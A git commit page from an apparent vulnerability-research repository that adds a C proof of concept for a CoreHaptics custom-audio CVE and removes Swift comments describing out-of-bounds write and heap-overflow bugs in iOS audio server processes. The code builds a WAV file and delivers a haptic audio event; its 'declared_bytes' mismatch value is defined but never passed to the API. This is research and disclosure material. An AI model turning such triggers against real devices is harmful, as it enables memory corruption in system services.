v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
1 parent
1ea76ab005
commit
7949c7ce9f
79 files changed
+4109
-892
No files matched your search
@@ -0,0 +1,167 @@
|
||||
// aud.haptic · CoreHaptics · custom audio haptic registration · CVE-2026-113907
|
||||
// CoreHaptics custom audio event with a declared-size mismatch
|
||||
// C twin of the Swift POC: builds a 4096-frame WAV, registers it as a CoreHaptics
|
||||
// audio resource and delivers a custom audio event. The declared byte count the server
|
||||
// is asked to trust is what this CVE lives in.
|
||||
// Variant aud.immersive (ImmersiveRendererData symbol probe) is noted in the Swift POC.
|
||||
// Build: clang -O2 -o cve-2026-113907 CVE-2026-113907.c -framework CoreHaptics -framework CoreFoundation -lobjc
|
||||
// Run: ./cve-2026-113907 [frame-count]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <objc/runtime.h>
|
||||
#include <objc/message.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
// ── byte buffer ──
|
||||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||||
static void bneed(buf *b, size_t extra) {
|
||||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||||
}
|
||||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||||
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
||||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||||
|
||||
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
|
||||
static void le32(buf *b, uint32_t v) {
|
||||
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
|
||||
}
|
||||
|
||||
// ── seed construction (from Cinder27 Runners.hapticCustomAudio) ──
|
||||
// mono 16-bit WAV with exactly `frames` samples
|
||||
static buf wav_frames(int frames) {
|
||||
const int rate = 48000;
|
||||
buf out = {0};
|
||||
bcat(&out, "RIFF", 4);
|
||||
le32(&out, 36 + (uint32_t)frames * 2);
|
||||
bcat(&out, "WAVEfmt ", 8);
|
||||
le32(&out, 16); le16(&out, 1); le16(&out, 1);
|
||||
le32(&out, (uint32_t)rate); le32(&out, (uint32_t)rate * 2);
|
||||
le16(&out, 2); le16(&out, 16);
|
||||
bcat(&out, "data", 4);
|
||||
le32(&out, (uint32_t)frames * 2);
|
||||
brep(&out, 0, (size_t)frames * 2);
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── ObjC message casts (arm64: all args in registers) ──
|
||||
static id (*msg_id)(id, SEL); // alloc
|
||||
static id (*msg_id_1id)(id, SEL, id); // initAndReturnError:
|
||||
static unsigned char (*msg_bool_1id)(id, SEL, id); // startAndReturnError:
|
||||
static unsigned long (*msg_ul_3id)(id, SEL, id, id, id); // registerAudioResource:options:error:
|
||||
static id (*msg_id_3id)(id, SEL, id, id, id); // initWithEvents:parameters:error:
|
||||
static id (*msg_id_res)(id, SEL, unsigned long, id, double, double); // initWithAudioResourceID:parameters:relativeTime:duration:
|
||||
static unsigned char (*msg_bool_double_1id)(id, SEL, double, id); // startAtTime:error:
|
||||
static void (*msg_void)(id, SEL); // stop
|
||||
static id (*msg_err_desc)(id, SEL); // localizedDescription
|
||||
static const char *(*msg_utf8)(id, SEL); // UTF8String
|
||||
|
||||
static void print_error(const char *stage, id err) {
|
||||
if (err) {
|
||||
id desc = msg_err_desc(err, sel_registerName("localizedDescription"));
|
||||
const char *s = desc ? msg_utf8(desc, sel_registerName("UTF8String")) : NULL;
|
||||
printf("%s failed: %s\n", stage, s ? s : "(no description)");
|
||||
} else {
|
||||
printf("%s failed\n", stage);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int frames = argc > 1 ? atoi(argv[1]) : 4096;
|
||||
int declared_bytes = 4; // the mismatch the server is asked to trust
|
||||
|
||||
msg_id = (id (*)(id, SEL))objc_msgSend;
|
||||
msg_id_1id = (id (*)(id, SEL, id))objc_msgSend;
|
||||
msg_bool_1id = (unsigned char (*)(id, SEL, id))objc_msgSend;
|
||||
msg_ul_3id = (unsigned long (*)(id, SEL, id, id, id))objc_msgSend;
|
||||
msg_id_3id = (id (*)(id, SEL, id, id, id))objc_msgSend;
|
||||
msg_id_res = (id (*)(id, SEL, unsigned long, id, double, double))objc_msgSend;
|
||||
msg_bool_double_1id = (unsigned char (*)(id, SEL, double, id))objc_msgSend;
|
||||
msg_void = (void (*)(id, SEL))objc_msgSend;
|
||||
msg_err_desc = (id (*)(id, SEL))objc_msgSend;
|
||||
msg_utf8 = (const char *(*)(id, SEL))objc_msgSend;
|
||||
|
||||
Class engineClass = objc_getClass("CHHapticEngine");
|
||||
Class eventClass = objc_getClass("CHHapticEvent");
|
||||
Class patternClass = objc_getClass("CHHapticPattern");
|
||||
if (!engineClass || !eventClass || !patternClass) {
|
||||
printf("CoreHaptics classes unavailable\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
id err = nil;
|
||||
id engine = msg_id_1id(msg_id((id)engineClass, sel_registerName("alloc")),
|
||||
sel_registerName("initAndReturnError:"), (id)&err);
|
||||
if (!engine) { print_error("CHHapticEngine init", err); return 1; }
|
||||
if (!msg_bool_1id(engine, sel_registerName("startAndReturnError:"), (id)&err)) {
|
||||
print_error("engine start", err);
|
||||
return 1;
|
||||
}
|
||||
printf("CHHapticEngine started\n");
|
||||
|
||||
buf wav = wav_frames(frames);
|
||||
const char *path = "/tmp/cinder_haptic.wav";
|
||||
FILE *f = fopen(path, "wb");
|
||||
if (f) { fwrite(wav.d, 1, wav.n, f); fclose(f); }
|
||||
printf("wav written: %s (%zu B, %d frames, declared bytes %d)\n", path, wav.n, frames, declared_bytes);
|
||||
|
||||
CFURLRef url = CFURLCreateWithFileSystemPath(NULL,
|
||||
CFSTR("/tmp/cinder_haptic.wav"), kCFURLPOSIXPathStyle, false);
|
||||
CFArrayRef empty_array = CFArrayCreate(NULL, NULL, 0, &kCFTypeArrayCallBacks);
|
||||
CFDictionaryRef empty_dict = CFDictionaryCreate(NULL, NULL, NULL, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
err = nil;
|
||||
unsigned long resource = msg_ul_3id(engine, sel_registerName("registerAudioResource:options:error:"),
|
||||
(id)url, (id)empty_dict, (id)&err);
|
||||
if (err) {
|
||||
print_error("registerAudioResource", err);
|
||||
msg_void(engine, sel_registerName("stop"));
|
||||
bfree(&wav);
|
||||
return 1;
|
||||
}
|
||||
printf("audio resource registered: id %lu\n", resource);
|
||||
|
||||
id event = msg_id_res(msg_id((id)eventClass, sel_registerName("alloc")),
|
||||
sel_registerName("initWithAudioResourceID:parameters:relativeTime:duration:"),
|
||||
resource, (id)empty_array, 0.0, 0.25);
|
||||
id events[1] = { event };
|
||||
CFArrayRef event_array = CFArrayCreate(NULL, (const void **)events, 1, &kCFTypeArrayCallBacks);
|
||||
err = nil;
|
||||
id pattern = msg_id_3id(msg_id((id)patternClass, sel_registerName("alloc")),
|
||||
sel_registerName("initWithEvents:parameters:error:"),
|
||||
(id)event_array, (id)empty_dict, (id)&err);
|
||||
if (!pattern) {
|
||||
print_error("pattern creation", err);
|
||||
msg_void(engine, sel_registerName("stop"));
|
||||
bfree(&wav);
|
||||
return 1;
|
||||
}
|
||||
|
||||
err = nil;
|
||||
id player = msg_id_3id(engine, sel_registerName("makePlayerWithPattern:error:"),
|
||||
pattern, nil, (id)&err);
|
||||
if (!player) {
|
||||
print_error("player creation", err);
|
||||
msg_void(engine, sel_registerName("stop"));
|
||||
bfree(&wav);
|
||||
return 1;
|
||||
}
|
||||
err = nil;
|
||||
if (!msg_bool_double_1id(player, sel_registerName("startAtTime:error:"), 0.0, (id)&err)) {
|
||||
print_error("event delivery", err);
|
||||
} else {
|
||||
printf("audioCustom event delivered\n");
|
||||
}
|
||||
usleep(400000);
|
||||
msg_void(engine, sel_registerName("stop"));
|
||||
printf("engine stopped\n");
|
||||
|
||||
CFRelease(url); CFRelease(empty_array); CFRelease(empty_dict); CFRelease(event_array);
|
||||
bfree(&wav);
|
||||
printf("CVE-2026-113907 · custom audio haptic registration exercised\n");
|
||||
return 0;
|
||||
}
|
||||
@@ -1,22 +1,8 @@
|
||||
// aud.haptic · AudioToolbox · AVHapticServerInstance · CVE-2026-113907
|
||||
// 原语: OOB 写 · 系统进程 · tier 2
|
||||
// Primitive: OOB write · system process · tier 2
|
||||
//
|
||||
// [zh] AVHaptic 自定义音频事件格式校验
|
||||
// createCustomAudioEvent 在 27.0 既不校验 ASBD 的合法性,也不比对 frames×bytesPerFrame 与实际波形字节数。27.2 同时补入这两项校验。
|
||||
// 该接口的 XPC 服务端位于 CoreHaptics 的服务器进程内。
|
||||
//
|
||||
// [en] AVHaptic custom audio event format validation
|
||||
// On 27.0 createCustomAudioEvent neither validates the ASBD nor compares frames×bytesPerFrame against
|
||||
// the actual waveform byte count. iOS 27.2 adds both checks. The XPC server side of this interface
|
||||
// lives in the CoreHaptics server process.
|
||||
// ── 判别 / oracle ──
|
||||
// 通过 CHHapticEngine 的 audioCustom 事件驱动,是最接近服务端入参的一条公开路径。
|
||||
// 变体 aud.immersive: 沉浸式渲染数据反序列化容量缺失
|
||||
|
||||
// AVHaptic custom audio event format validation
|
||||
import Foundation
|
||||
|
||||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||||
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
||||
enum B {
|
||||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||||
@@ -37,21 +23,4 @@ enum B {
|
||||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||||
}
|
||||
|
||||
/*
|
||||
// aud.immersive · AudioToolbox · ImmersiveRendererDataMarshaller::Deserialize · CVE-2026-113907
|
||||
// 原语: OOB 写 · 系统进程 · tier 2
|
||||
// Primitive: OOB write · system process · tier 2
|
||||
//
|
||||
// [zh] 沉浸式渲染数据反序列化容量缺失
|
||||
// 反序列化取得的 count 与 dataByteSize 仅与「线缆剩余长度」比较,从不与「目标缓冲容量」比较,构成音频服务器进程内的线性堆溢出。27.2 新增 ReadImmersiveRendererDataV1/V2,
|
||||
// 将目标容量一并纳入校验,并补入版本号 1..3 的合法性闸门。
|
||||
//
|
||||
// [en] Immersive renderer data deserialisation capacity gap
|
||||
// The count and dataByteSize taken off the wire are compared only against "how much is left on the
|
||||
// wire", never against "how much the destination buffer holds", producing a linear heap overflow
|
||||
// inside the audio server process. iOS 27.2 adds ReadImmersiveRendererDataV1/V2, folds destination
|
||||
// capacity into the check, and adds a version 1..3 validity gate.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user